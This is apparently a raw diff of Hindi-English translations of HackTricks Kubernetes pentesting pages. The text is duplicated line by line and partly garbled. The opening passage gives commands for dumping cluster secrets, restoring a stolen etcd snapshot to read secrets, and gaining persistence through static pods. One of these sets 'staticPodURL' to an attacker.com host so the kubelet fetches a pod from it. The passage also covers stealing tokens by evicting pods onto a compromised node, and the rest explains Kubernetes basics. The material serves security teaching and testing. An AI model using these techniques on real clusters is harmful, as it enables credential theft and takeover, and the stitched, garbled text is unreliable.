curl -k https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
```
### Secrets पढ़ना
यदि आपके पास अनुमति है, तो आप secrets dump कर सकते हैं:
```bash
kubectl --token $TOKEN get secrets -o yaml
```
यह credentials, tokens और दूसरे sensitive data leak कर सकता है।
### Privilege escalation
कुछ गलत configured clusters में, एक compromised Pod से आप:
- host filesystem mount कर सकते हैं
- privileged Pods launch कर सकते हैं
- Kubernetes nodes पर पहुंच सकते हैं
- docker socket या container runtime socket abuse कर सकते हैं
### Lateral movement
एक बार अंदर पहुंचने के बाद, आप एक Pod से दूसरे Pod या service पर move कर सकते हैं, खासकर यदि network policies कमजोर हों या मौजूद ही न हों।
### Detection और mitigation
- Pod ServiceAccount permissions को restrict करें
- workloads के लिए least privilege का उपयोग करें
- unnecessary mounts और hostPath volumes disable करें
- Kubernetes audit logging enable करें
- network policies लागू करें
- secrets को environment variables में रखने से बचें
```
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
#### `etcd` 2 से secrets पढ़ें [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. **`etcd`** database का snapshot बनाएं। अधिक जानकारी के लिए [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) देखें।
2. अपनी पसंदीदा विधि से नोड से **`etcd`** snapshot को बाहर ट्रांसफर करें।
3. डेटाबेस को अनपैक करें:
1. **`etcd`** डेटाबेस का snapshot बनाएं। अधिक जानकारी के लिए [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) देखें।
2. अपनी पसंद के तरीके से node से **`etcd`** snapshot बाहर transfer करें।
3. डेटाबेस unpack करें:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. अपने लोकल मशीन पर **`etcd`** शुरू करें और इसे चोरी किए गए snapshot का उपयोग करने के लिए सेट करें:
4. अपनी local machine पर **`etcd`** शुरू करें और इसे stolen snapshot का उपयोग करने ें:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. सभी secrets सूचीबद्ध करें:
5. सभी secrets की सूची बनाएं:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
@@ -278,29 +389,29 @@ etcdctl get "" --prefix --keys-only | grep secret
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods की स्थिरता
### Static/Mirrored Pods Persistence
_Static Pods_ को kubelet daemon द्वारा किसी specific node पर सीधे manage किया जाता है, बिना API server के उन्हें observe किए। Control plane द्वारा manage किए जाने वाले Pods (उदाहरण के लिए, एक Deployment) के विपरीत, **kubelet प्रत्येक static Pod की निगरानी करता है** (और यदि वह fail हो तो उसे restart कर देता है)।
_Static Pods_ को सीधे kubelet daemon किसी specific node पर manage कता है, बिना API server के उन्हें observe किए। Control plane द्वारा managed Pods के विपरीत (for example, एक Deployment); इसके बजाय, **kubelet हर static Pod को watch करता है** (और अगर वह fail हो जाए तो उसे restart करता है)।
इसलिए, static Pods हमेशा क specific node पर एक ही **Kubelet** से बंधे होते हैं।
इसलिए, static Pods हमेशा किसी specific node पर **एक kubelet से bound** होते हैं।
**kubelet स्वचालित रूप से प्रत्येक static Pod के लिए Kubernetes API server पर एक mirror Pod बनाने की कोशिश करता है**। इसका मतलब यह है कि node पर चल रहे Pods API server पर दिखाई देते हैं, पर वहा से उन्हें नियंत्रित नहीं किया जा सकत। Pod के नामों के अंत में node hostname के साथ एक leading hyphen जोड़ा जाएगा।
**kubelet automatically हर static Pod के लिए Kubernetes API server पर एक mirror Pod create करने की कोशिश करता है**। इसका मतलब है कि node पर चल रहे Pods API server पर visible होते हैं, लेकिन वहा से control नहीं कि जा सकत। Pod names के अंत में node hostname जुड़ा होगा, और उसके पहले एक leading hyphen होगा।
> [!CAUTION]
> Static Pod का **`spec` अन्य API objects का संदर्भ नहीं दे सकता** (e.g., ServiceAccount, ConfigMap, Secret, आदि). तो **आप इस व्यवहार का दुरुपयोग करके current node पर arbitrary serviceAccount के साथ pod लॉन्च करके cluster को compromise नहीं कर सकते**। लेकिन आप इसका उपयोग pods को विभिन्न namespaces में चलाने के लिए कर सकते हैं (यदि किसी कारण से यह उपयोगी हो)।
> static Pod का **`spec` अन्य API objects को refer नहीं कर सकता** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** current node पर cluster compromise करने के लिए। But you could use this to run pods in different namespaces (in case thats useful for some reason).
यदि आप node host के अंदर हैं तो आप से अपने अंदर ही एक **static pod** बनाने के लिए प्रेरित कर सकते हैं। यह काफी उपयोगी हो सकता है क्योंकि इससे आप किसी अलग namespace जैसे **kube-system** में **pod** बना सकते हैं।
अगर आप node host के अंदर हैं, तो आप से खुद के अंदर एक **static pod** create करने के लिए make कर सकते हैं। यह काफी useful है क्योंकि इससे आप **kube-system** जैसे किसी different namespace में **pod create** कर सकते हैं।
static pod बनाने के लिए, [**docs बहुत मददगार हैं**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). मूल रूप से आपको 2 चीज़ें चाहिए:
static pod create करने के लिए, [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Basically आपको 2 चीज़ें चाहिए:
- पैरामीटर **`--pod-manifest-path=/etc/kubernetes/manifests`** को **kubelet service** में, या **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) में कॉन्फ़िगर करें और service को restart करें
- **pod definition** को **`/etc/kubernetes/manifests`** में बनाए
- **kubelet service** में, या **kubelet config** में, param **`--pod-manifest-path=/etc/kubernetes/manifests`** configure करें ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) और service restart करें
- **`/etc/kubernetes/manifests`** में **pod definition** पर definition create करे
**एक और अधिक stealth तरीका होगा:**
**Another more stealth way would be to:**
- **kubelet** config file में पैरामीटर **`staticPodURL`** को modify करें और कुछ इस तरह सेट करें `staticPodURL: http://attacker.com:8765/pod.yaml`. इससे kubelet process उस indicated URL से configuration लेकर एक **static pod** बना देगा।
- **kubelet** config file से param **`staticPodURL`** modify करें और कुछ ऐसा set करें जैसे **`staticPodURL: http://attacker.com:8765/pod.yaml`**। इससे kubelet process **indicated URL** से **configuration** लेकर एक **static pod** create करेगा।
**उदाहरण**: kube-system में privilege pod बनाने के लिए **pod** configuration, [**यहाँ**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) से लिया गया:
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
@@ -328,10 +439,10 @@ type: Directory
```
### Delete pods + unschedulable nodes
यदि कोई हमलावर ने **compromised a node** कर लिया है और वह अन्य नोड्स से **delete pods** कर सकता है और अन्य नोड्स को **make other nodes not able to execute pods** बना सकता है, तो वे pods compromised node में पुनः चलाए जाएंगे और वह उनमें चल रहे टोकन को **steal the tokens** कर सकेगा.\
यदि किसी attacker ने **एक node compromise** कर लिया है और वह अन्य nodes से **pods delete** कर सकता है और **other nodes को pods execute करने में unable** बना सकता है, तो pods compromised node पर फिर से run होंगे और वह उनमें run हो रहे **tokens steal** कर सकेगा\
For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## स्वचालित टूल्स
## Automatic Tools
- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
```
@@ -2,64 +2,64 @@
{{#include ../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(उनका मूल पोस्ट पढ़ें** [**यहां**](https://sickrov.github.io)**)**
**इस पेज के original author हैं** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(उनका original post पढ़ें** [**here**](https://sickrov.github.io)**)**
## Architecture & Basics
### Kubernetes क्या करता है?
- कंटेनर/को कंटेनर इंजन में चलाने की अनुमति देता है।
- शेड्यूल कंटेनरों को मिशन कुशल बनाता है।
- कंटेनरों को जीवित रखता है।
- कंटेनर संचार की अनुमति देता है।
- तैनाती तकनीकों की अनुमति देता है।
- जानकारी की मात्रा को संभालता है।
- container engine में container/s चलाने की अनुमति देता है।
- Schedule containers को mission efficient बनाता है।
- containers को alive रखता है।
- container communications की अनुमति देता है।
- deployment techniques की अनुमति देता है।
- volumes of information को handle करता है।
### Architecture
![](https://sickrov.github.io/media/Screenshot-68.jpg)
![Kubernetes architecture diagram showing control plane components, API server, kubelet, kube-proxy, pods, and worker nodes](https://sickrov.github.io/media/Screenshot-68.jpg)
- **Node**: ऑपरेटिंग सिस्टम जिसमें पॉड या पॉड्स होते हैं
- **Pod**: एक कंटेनर या कई कंटेनरों के चारों ओर लपेटने वाला। एक पॉड में केवल एक एप्लिकेशन होना चाहिए (इसलिए आमतौर पर, एक पॉड केवल 1 कंटेनर चलाता है)। पॉड वह तरीका है जिससे Kubernetes चल रहे कंटेनर तकनीक को अमूर्त करता है।
- **Service**: प्रत्येक पॉड का 1 आंतरिक **IP पता** होता है जो नोड की आंतरिक रेंज से होता है। हालाकि, इसे एक सेवा के माध्यम से भी उजागर किया जा सकता है। **सेवा का भी एक IP पता होता है** और इसका लक्ष्य पॉड्स के बीच संचार बनाए रखना है ताकि यदि एक मर जाता है तो **नया प्रतिस्थापन** (एक अलग आंतरिक IP के साथ) **सेवा के उसी IP में उपलब्ध होगा**। इसे आंतरिक या बाहरी के रूप में कॉन्फ़िगर किया जा सकता है। सेवा तब **लोड बैलेंसर के रूप में कार्य करती है जब 2 पॉड्स उसी सेवा से जुड़े होते हैं**।\
जब एक **सेवा** **बनाई जाती है** तो आप प्रत्येक सेवा के अंत बिंदुओं को `kubectl get endpoints` चलाकर पा सकते हैं
- **Kubelet**: प्राथमिक नोड एजेंट। वह घटक जो नोड और kubectl के बीच संचार स्थापित करता है, और केवल पॉड्स चला सकता है (API सर्वर के माध्यम से)। Kubelet उन कंटेनरों का प्रबंधन नहीं करता है जो Kubernetes द्वारा नहीं बनाए गए थे।
- **Kube-proxy**: सेवा है जो apiserver और नोड के बीच संचार (सेवाएं) का प्रबंधन करती है। आधार नोड्स के लिए IPtables है। सबसे अनुभवी उपयोगकर्ता अन्य विक्रेताओं से अन्य kube-proxies स्थापित कर सकते हैं।
- **Sidecar container**: साइडकार कंटेनर वे कंटेनर हैं जो पॉड में मुख्य कंटेनर के साथ चलने चाहिए। यह साइडकार पैटर्न मौजूदा कंटेनरों की कार्यक्षमता को बढ़ाता और बढ़ाता है बिना उन्हें बदले। आजकल, हम जानते हैं कि हम कंटेनर तकनीक का उपयोग सभी निर्भरताओं को लपेटने के लिए करते हैं ताकि एप्लिकेशन कहीं भी चल सके। एक कंटेनर केवल एक काम करता है और वह काम बहुत अच्छ करता है।
- **Node**: pod या pods के साथ operating system
- **Pod**: एक container या multiple containers के around Wrapper with. एक pod में केवल एक application होना चाहिए (इसलिए आमतौर पर, एक pod सिर्फ 1 container run करता है)। pod वह तरीका है जिससे kubernetes running container technology को abstract करता है।
- **Service**: हर pod के पास node की internal range से 1 internal **IP address** होता है। हालाकि, इसे service के जरिए expose भी किया जा सकता है। **service के पास भी एक IP address होता है** और इसका goal pods के बीच communication बनाए रखना है, ताकि अगर एक मर जा तो **new replacement** (different internal IP के साथ) **same IP of the service** पर exposed होकर accessible रहे। इसे internal या external के रूप में configure किया जा सकता है। जब 2 pods same service से जुड़े होते हैं, तो service **load balancer** की तरह भी act करती है।\
जब एक **service** **create** होती है, आप हर service के endpoints `kubectl get endpoints` चलाकर देख सकते हैं
- **Kubelet**: Primary node agent. यह component node और kubectl के बीच communication establish करता है, और केवल pods चला सकता है (API server के through)। kubelet उन containers को manage नहीं करता जो Kubernetes द्वारा create नहीं किए गए थे।
- **Kube-proxy**: service apiserver और node के बीच communications (services) की charge में है। इसका base nodes के लिए IPtables है। अधिक experienced users अन्य vendors के दूसरे kube-proxies install कर सकते हैं।
- **Sidecar container**: Sidecar containers वे containers हैं जो pod में main container के साथ run होने चाहिए। यह sidecar pattern मौजूदा containers की functionality को उन्हें बदले बिना extend और enhance करता है। आजकल, हम जानते हैं कि हम container technology का उपयोग application की सभी dependencies को wrap करने के लिए करते हैं ताकि वह कहीं भी run हो सके। एक container सिर्फ एक चीज करता है और वह काम बहुत अच्छी तरह करता है।
- **Master process:**
- **Api Server:** यह वह तरीका है जिससे उपयोगकर्ता और पॉड्स मास्टर प्रक्रिया के साथ संवाद करते हैं। केवल प्रमाणित अनुरोधों की अनुमति दी जानी चाहिए।
- **Scheduler**: शेड्यूलिंग का तात्पर्य यह सुनिश्चित करने से है कि पॉड्स को नोड्स से मिलाया जाए ताकि Kubelet उन्हें चला सके। इसमें यह तय करने के लिए पर्याप्त बुद्धिमत्ता है कि कौन सा नोड अधिक उपलब्ध संसाधनों के साथ है और नए पॉड को उसे सौंपता है। ध्यान दें कि शेड्यूलर नए पॉड्स शुरू नहीं करता है, केवल नोड के अंदर चल रहे Kubelet प्रक्रिया के साथ संवाद करता है, जो नए पॉड को लॉन्च करेगा।
- **Kube Controller manager**: यह संसाधनों जैसे कि रिप्लिका सेट या तैनातियों की जांच करता है यह देखने के लिए कि, उदाहरण के लिए, सही संख्या में पॉड्स या नोड्स चल रहे हैं। यदि कोई पॉड गायब है, तो यह एक नया शुरू करने के लिए शेड्यूलर के साथ संवाद करेगा। यह API के लिए प्रतिकृति, टोकन और खाता सेवाओं को नियंत्रित करता है।
- **etcd**: डेटा भंडारण, स्थायी, सुसंगत, और वितरित। यह Kubernetes का डेटाबेस है और कुंजी-मूल्य भंडारण है जहाँ यह क्लस्टरों की पूरी स्थिति को रखता है (यहाँ प्रत्येक परिवर्तन लॉग किया जाता है)। शेड्यूलर या कंट्रोलर प्रबंधक जैसे घटक इस डेटा पर निर्भर करते हैं यह जानने के लिए कि कौन से परिवर्तन हुए हैं (नोड्स के उपलब्ध संसाधन, चल रहे पॉड्स की संख्या...)
- **Cloud controller manager**: यह प्रवाह नियंत्रण और अनुप्रयोगों के लिए विशिष्ट नियंत्रक है, यानी: यदि आपके पास AWS या OpenStack में क्लस्टर हैं।
- **Api Server:** यह वह तरीका है जिससे users और pods master process से communicate करते हैं। केवल authenticated request ही allowed होने चाहिए।
- **Scheduler**: Scheduling का मतलब है यह सुनिश्चित करना कि Pods Nodes से match हों ताकि Kubelet उन्हें run कर सके। इसमें इतना intelligence होता है कि वह तय कर सके कि किस node के पास अधिक available resources है और new pod को उसे assign कर दे। ध्यान दें कि scheduler नए pods start नहीं करता, सिर्फ node के अंदर चल रहे Kubelet process से communicate करता है, जो नया pod launch करेगा।
- **Kube Controller manager**: यह replica sets या deployments जैसे resources check करता है ताकि, उदाहरण के लिए, सही number of pods या nodes running हों। अगर कोई pod missing है, तो यह scheduler से communicate करके नया one start करेगा। यह replication, tokens, और account services को API के लिए control करता है।
- **etcd**: Data storage, persistent, consistent, और distributed. यह Kubernetess database और key-value storage है जहाँ यह clusters की complete state रखता है (हर change यहाँ logged होता है)। Scheduler या Controller manager जैसे components इस data पर depend करते हैं ताकि वे जान सकें कि कौन से changes हुए हैं (nodes के available resources, running pods की number...)
- **Cloud controller manager**: यह flow controls और applications के लिए specific controller है, यानी: अगर आपके clusters AWS या OpenStack में हैं।
ध्यान दें कि चूंकि कई नोड्स (कई पॉड्स चला रहे हैं) हो सकते हैं, इसलिए कई मास्टर प्रक्रियाएँ भी हो सकत हैं जिनक Api सर्वर तक पहुंच लोड संतुलित होती है और उनका etcd समन्वयित होता है।
ध्यान दें कि जैसे कई nodes (कई pods चला रहे) हो सकते हैं, वैसे ही कई master processes भी हो सकत हैं जिनक Api server तक access load balanced होती है और उनका etcd synchronized होता है।
**Volumes:**
जब एक पॉड डेटा बनाता है जो पॉड के गायब होने पर नहीं ोना चाहिए, तो इसे एक भौतिक वॉल्यूम में संग्रहीत किया जाना चाहिए। **Kubernetes एक पॉड में डेटा को स्थायी बनाने के लिए एक वॉल्यूम संलग्न करने की अनुमति देता है**। वॉल्यूम स्थानीय मशीन में या **दूरस्थ भंडारण** में हो सकता है। यदि आप विभिन्न भौतिक नोड्स में पॉड्स चला रहे हैं, तो आपको एक दूरस्थ भंडारण का उपयोग करना चाहिए ताकि सभी पॉड्स इसे एक्सेस कर सकें।
जब कोई pod data create करता है जिसे pod disappear होने पर lost नहीं ोना चाहिए, उसे physical volume में store करना चाहिए। **Kubernetes एक pod से volume attach करने की अनुमति देता है ताकि data persist रहे**। volume local machine में हो सकता है या **remote storage** में। अगर आप अलग-अलग physical nodes पर pods चला रहे हैं, तो आपको remote storage use करना चाहिए ताकि सभी pods उसे access कर सकें।
**Other configurations:**
- **ConfigMap**: आप **सेवाओं** तक पहुचने के लिए **URLs** कॉन्फ़िगर कर सकते हैं। पॉड यहाँ से डेटा प्राप्त करेगा यह जानने के लिए कि बाकी सेवाओं (पॉड्स) के साथ कैसे संवाद करना है। ध्यान दें कि यह क्रेडेंशियल्स को सहेजने के लिए अनुशंसित स्थान नहीं है!
- **Secret**: यह **गुप्त डेटा** जैसे पासवर्ड, API कुंजी... को B64 में एन्कोड करने के लिए **स्टोर करने का स्थान** है। पॉड इस डेटा को आवश्यक क्रेडेंशियल्स का उपयोग करने के लिए एक्सेस कर सकेगा।
- **Deployments**: यह वह स्थान है जहाँ Kubernetes द्वारा चलाए जाने वाले घटकों को इंगित किया जाता है। एक उपयोगकर्ता आमतौर पर सीधे पॉड्स के साथ काम नहीं करेगा, पॉड्स को **ReplicaSets** (एक ही पॉड्स की संख्या जो दोहराई जाती है) में अमूर्त किया जाता है, जिन्हें तैनातियों के माध्यम से चलाया जाता है। ध्यान दें कि तैनातियाँ **stateless** अनुप्रयोगों के लिए होती हैं। तैनाती के लिए न्यूनतम कॉन्फ़िगरेशन नाम और चलाने के लिए छवि है।
- **StatefulSet**: यह घटक विशेष रूप से **डेटाबेस** जैसे अनुप्रयोगों के लिए है जिन्हें **एक ही भंडारण** तक पहुँचने की आवश्यकता होती है।
- **Ingress**: यह वह कॉन्फ़िगरेशन है जिसका उपयोग **URL के साथ एप्लिकेशन को सार्वजनिक रूप से उजागर करने के लिए** किया जाता है। ध्यान दें कि यह बाहरी सेवाओं का उपयोग करके भी किया जा सकता है, लेकिन यह एप्लिकेशन को उजागर करने का सही तरीका है।
- यदि आप एक Ingress लागू करते हैं तो आपको **Ingress Controllers** बनाने की आवश्यकता होग। Ingress Controller एक **पॉड** है जो वह अंत बिंदु होगा जो अनुरोध प्राप्त करेगा और उन्हें जांचेगा और सेवाओं के लिए लोड संतुलित करेगा। Ingress Controller **कॉन्फ़िगर किए गए इनग्रेस नियमों के आधार पर अनुरोध भेजेगा**। ध्यान दें कि इनग्रेस नियम विभिन्न पथों या यहां तक कि विभिन्न आंतरिक Kubernetes सेवाओं के लिए उपडोमेन की ओर इशारा कर सकते हैं।
- एक बेहतर सुरक्षा प्रथा यह होगी कि किसी भी Kubernetes क्लस्टर के भाग को उजागर न करने के लिए एक क्लाउड लोड बैलेंसर या प्रॉक्सी सर्वर का उपयोग किया जाए
- जब कोई अनुरोध प्राप्त होता है जो किसी भी इनग्रेस नियम से मेल नहीं खाता है, तो इनग्रेस कंट्रोलर इसे "**डिफ़ॉल्ट बैकएंड**" की ओर निर्देशित करेगा। आप इस पैरामीटर के पते को प्राप्त करने के लिए इनग्रेस कंट्रोलर `describe` कर सकते हैं।
- **ConfigMap**: आप services तक पहुचने के लिए **URLs** configure कर सकते हैं। pod यहाँ से data लेगा ताकि वह बाकी services (pods) के साथ कैसे communicate करना है, यह जान सके। ध्यान दें कि credentials save करने के लिए यह recommended place नहीं है!
- **Secret**: यह **secret data** जैसे passwords, API keys... को B64 में encoded करके **store** करने की जगह है। pod इस data को access करके required credentials use कर पाएगा।
- **Deployments**: यहीं वे components indicated होते हैो kubernetes द्वारा run किए जाने हैआमतौर पर user सीधे pods के साथ काम नहीं करेगा, pods **ReplicaSets** (same pods की replicated number) में abstract होते है, जो deployments के through run होते है। ध्यान दें कि deployments **stateless** applications के लिए हैं। deployment की minimum configuration name और run होने वाली image है।
- **StatefulSet**: यह component खास तौर पर **databases** जैसे applications के लिए meant है जिन्हें **same storage** access करने की जरूरत होती है।
- **Ingress**: यह वह configuration है जिसका उपयोग application को **URL के साथ publicly expose करने** के लिए किया जाता है। ध्यान दें कि यह external services का उपयोग करके भी किया जा सकता है, लेकिन application को expose करने का यही सही तरीका है।
- अगर आप Ingress implement करते हैं, तो आपको **Ingress Controllers** बनाना होग। Ingress Controller एक **pod** है जो endpoint होगा जो requests receive करेगा और उन्हें check करेगा तथा services तक load balance करेगा। ingress controller **configured ingress rules के आधार पर request send करेगा**। ध्यान दें कि ingress rules अलग-अलग paths या यहां तक कि subdomains को different internal kubernetes services की ओर point कर सकते हैं।
- बेहतर security practice यह होगी कि cloud load balancer या proxy server को entrypoint के रूप में use किया जाए ताकि Kubernetes cluster का कोई भी भाग exposed न हो
- जब कोई request जो किसी भी ingress rule से match नहीं करती receive होती है, तो ingress controller उसे "**Default backend**" की ओर direct करेगा। आप इस parameter का address पाने के लिए ingress controller `describe` कर सकते हैं।
- `minikube addons enable ingress`
### PKI infrastructure - Certificate Authority CA:
![](https://sickrov.github.io/media/Screenshot-66.jpg)
![Kubernetes CA and PKI diagram showing API server certificates between clients, scheduler, controller manager, kubelet, and etcd](https://sickrov.github.io/media/Screenshot-66.jpg)
- CA क्लस्टर के भीतर सभी प्रमाणपत्रों के लिए विश्वसनीय रूट है।
- घटकों को एक-दूसरे को मान्य करने की अनुमति देता है।
- सभी क्लस्टर प्रमाणपत्र CA द्वारा हस्ताक्षरित होते हैं।
- etcd का अपना प्रमाणपत्र है।
- प्रकार:
- CA cluster के अंदर सभी certificates के लिए trusted root है।
- components को एक-दूसरे को validate करने की अनुमति देता है।
- सभी cluster certificates CA द्वारा signed होते हैं।
- ETCd का अपना certificate है।
- types:
- apiserver cert.
- kubelet cert.
- scheduler cert.
@@ -68,7 +68,7 @@
### Minikube
**Minikube** का उपयोग कुछ **त्वरित परीक्षण** करने के लिए किया जा सकता है Kubernetes पर बिना पूरे Kubernetes वातावरण को तैनात किए। यह **एक मशीन में मास्टर और नोड प्रक्रियाओं को चलाएगा**। Minikube नोड चलाने के लिए वर्चुअल बॉक्स का उपयोग करेगा। [**यहा देखें कि इसे कैसे स्थापित करें**](https://minikube.sigs.k8s.io/docs/start/)
**Minikube** का उपयोग kubernetes पर कुछ **quick tests** करने के लिए किया जा सकता है, बिना पूरे kubernetes environment को deploy किए। यह **master और node processes को एक ही machine में run** करेगा। Minikube node run करने के लिए virtualbox का उपयोग करेगा। इसे install करने का तरीका [**यहा देखें**](https://minikube.sigs.k8s.io/docs/start/).
```
$ minikube start
😄 minikube v1.19.0 on Ubuntu 20.04
@@ -105,7 +105,7 @@ $ minikube delete
```
### Kubectl Basics
**`Kubectl`** क्यूबेरनेट्स क्लस्टर के लिए कमांड लाइन टूल है। यह क्यूबेरनेट्स में क्रियाएँ करने या डेटा मांगने के लिए मास्टर प्रक्रिया के एपीआई सर्वर के साथ संवाद करता है
**`Kubectl`** kubernetes clusters के लिए command line tool है। यह master process के Api server के साथ communicate करता है ताकि kubernetes में actions perform कके या data request कर सके
```bash
kubectl version #Get client and server version
kubectl get pod
@@ -138,7 +138,7 @@ kubectl apply -f deployment.yml
```
### Minikube Dashboard
डैशबोर्ड आपको यह देखने की अनुमति देता है कि मिनीक्यूब क्या चला रहा है, आप इसे एक्सेस करने के लिए URL यहा पा सकते हैं:
Dashboard आपको यह आसानी से देखने देता है कि minikube क्या चला रहा है, आप इसे एक्सेस करने के लिए URL यहा पा सकते हैं:
```
minikube dashboard --url
@@ -153,12 +153,12 @@ http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kube
```
### YAML configuration files examples
प्रत्येक कॉन्फ़िगरेशन फ़ाइल में 3 भाग होते हैं: **metadata**, **specification** (क्या लॉन्च करना है), **status** (इच्छित स्थिति)।\
डिप्लॉयमेंट कॉन्फ़िगरेशन फ़ाइल की स्पेसिफिकेशन के अंदर आप एक टेम्पलेट पा सकते हैं जो चलाने के लिए इमेज को परिभाषित करने के लिए एक नई कॉन्फ़िगरेशन संरचना के साथ परिभाषित है:
प्रत्येक configuration file के 3 भाग होते हैं: **metadata**, **specification** (क्या launch करना है), **status** (desired state)।\
Deployment configuration file की specification के अंदर आप template पा सकते हैं, जो एक नई configuration structure के साथ defined है, जिसमें run होने वाली image define होती है:
**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
**एक ही configuration file में declared Deployment + Service का Example (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
चूंकि एक सेवा आमतौर पर एक डिप्लॉयमेंट से संबंधित होती है, इसलिए दोनों को एक ही कॉन्फ़िगरेशन फ़ाइल में घोषित करना संभव है (इस कॉन्फ़िगरेशन में घोषित सेवा केवल आंतरिक रूप से सुलभ है):
चूंकि एक service आमतौर पर एक deployment से related होती है, इसलिए दोनों को एक ही configuration file में declare करना possible है (इस config में declared service केवल internally accessible है):
```yaml
apiVersion: apps/v1
kind: Deployment
@@ -205,9 +205,9 @@ ports:
port: 27017
targetPort: 27017
```
**बाहरी सेवा कॉन्फ़िगरेशन का उदाहरण**
**बाहरी service config का Example**
यह सेवा बाहरी रूप से सुलभ होगी (चेक करें `nodePort` और `type: LoadBlancer` विशेषताएँ):
यह service external रूप से accessible होगी (`nodePort` और `type: LoadBlancer` attributes को check करें):
```yaml
---
apiVersion: v1
@@ -225,11 +225,11 @@ targetPort: 8081
nodePort: 30000
```
> [!NOTE]
> यह परीक्षण के लिए उपयोगी है लेकिन उत्पादन के लिए आपक केवल आंतरिक सेवाएँ और एप्लिकेशन को उजागर करने के लिए एक Ingress होना चाहिए।
> यह testing के लिए उपयोगी है, लेकिन production के लिए आपके पास केवल internal services और application को expose करने के लिए एक Ingress होना चाहिए।
**Ingress कॉन्फ़िग फ़ाइल का उदाहरण**
**Ingress config file का Example**
यह एप्लिकेशन को `http://dashboard.com` पर उजागर करेगा।
यह application को `http://dashboard.com` में expose करेगा।
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
@@ -245,9 +245,9 @@ paths:
serviceName: kubernetes-dashboard
servicePort: 80
```
**गुप्त कॉन्फ़िग फ़ाइल का उदाहरण**
**सीक्रेट्स config file का उदाहरण**
ध्यान दें कि पासवर्ड B64 में एन्कोडेड हैं (जो सुरक्षित नहीं है!)
ध्यान दें कि password B64 में encoded हैं (जो secure नहीं है!)
```yaml
apiVersion: v1
kind: Secret
@@ -260,7 +260,7 @@ mongo-root-password: cGFzc3dvcmQ=
```
**ConfigMap का उदाहरण**
A **ConfigMap** वह कॉन्फ़िगरेशन है जो पॉड्स को दिया जात है ताकि वे जान सकें कि अन्य सेवाओं को कैसे ढूंढना और उन तक पहुंचना है। इस मामले में, प्रत्येक पॉड को पता होगा कि नाम `mongodb-service` एक पॉड का पता है जिसके साथ वे संवाद कर सकते हैं (यह पॉड एक mongodb निष्पादित करेगा):
एक **ConfigMap** वह configuration है जो pods को द जात है ताकि वे जान सकें कि दूसरे services को कैसे locate और access करना है। इस case में, हर pod को पता होगा कि नाम `mongodb-service` एक ऐसे pod का address है जिससे वे communicate कर सकते हैं (यह pod एक mongodb execute कर रहा होगा):
```yaml
apiVersion: v1
kind: ConfigMap
@@ -269,7 +269,7 @@ name: mongodb-configmap
data:
database_url: mongodb-service
```
फिर, एक **deployment config** के अंदर, इस पते को इस प्रकार निर्दिष्ट किया जा सकता है ताकि यह pod के env के अंदर लोड हो सके:
फिर, एक **deployment config** के अंदर इस address को निम्न तरीके से specify किया जा सकता है ताकि यह pod के env के अंदर load हो जाए:
```yaml
[...]
spec:
@@ -290,18 +290,18 @@ name: mongodb-configmap
key: database_url
[...]
```
**Example of volume config**
**वॉल्यूम config का उदाहरण**
आप विभिन्न स्टोरेज कॉन्फ़िगरेशन yaml फ़ाइलों के उदाहरण [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes) में पा सकते हैं।\
**ध्यान दें कि वॉल्यूम नामस्पेस के अंदर नहीं होते हैं**
आप [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes) में storage configuration yaml files के अलग-अलग example पा सकते हैं।\
**ध्यान दें कि volumes namespaces के अंदर नहीं होते**
### Namespaces
